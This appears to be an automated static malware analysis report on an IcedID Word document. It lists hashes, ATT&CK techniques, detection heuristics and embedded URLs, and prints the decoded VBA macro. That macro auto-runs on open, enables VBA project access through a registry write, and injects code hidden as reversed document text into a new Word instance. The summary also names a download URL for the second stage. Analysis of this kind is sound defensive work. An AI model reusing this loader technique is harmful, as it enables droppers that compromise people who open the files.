IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 ae6fb42c4ffc1276…

MALICIOUS

Office (OOXML)

45.2 KB Created: 2021-06-18 11:21:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-28
MD5: 136cf742e1b1bbba9fc5b286a1f3b008 SHA-1: c4b22fae08e54e6d4061aff4dacca5ab24459df4 SHA-256: ae6fb42c4ffc1276882166aab281c586af57faf103622fbd21791ba298907326
302 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Office document containing an obfuscated VBA macro that executes upon opening. The macro uses CreateObject to instantiate a shell and writes a registry key to enable access to VBA projects. It then attempts to download a second-stage payload from the URL 'http://4uzam/oYwYVGi4tDCvtRD3OU2ZVNW5G32DwItqkkS/TrjZXOuay80Vc4aHWNL/76039/olEODyCluYYqT9oke60QqmueRY0jtsbk/15312/jEIQQWS' and execute it. The ClamAV detection name 'Doc.Downloader.IcedID' strongly suggests the IcedID family.

Heuristics 8

  • ClamAV: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8f0bf81ff0df2060-9955147-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1237 bytes
SHA-256: 06ed31c557e575b1983e583075c95dbad93997318ec79cdb4a73cb3261eb291f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "borderTableClear"
Function selectTemp(repoLib)
selectTemp = VBA.StrReverse(repoLib)
End Function
Function varSelectEx()
varSelectEx = ActiveDocument.Range.Text
End Function
Sub dataProcTable()
Debug.Print CreateObject(selectTemp("llehs.tpircsw")).RegWrite(mainArgOption, 1, "REG_DWORD")
End Sub
Function argTrust()
localCount = 2
argTrust = Mid(varSelectEx, localCount, 1000000)
End Function

Attribute VB_Name = "funcButton"
Sub autoopen()
dataProcTable
libProc selectTemp(argTrust)
End Sub
Sub libProc(sizeMem)
Set removeLocalView = GetObject("", "word.application")
With removeLocalView.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString sizeMem
End With
removeLocalView.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function mainArgOption()
mainArgOption = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: b16a74bee5c774a3c17339cc65fab13376792b6851e543b9c2170c18743dde7c

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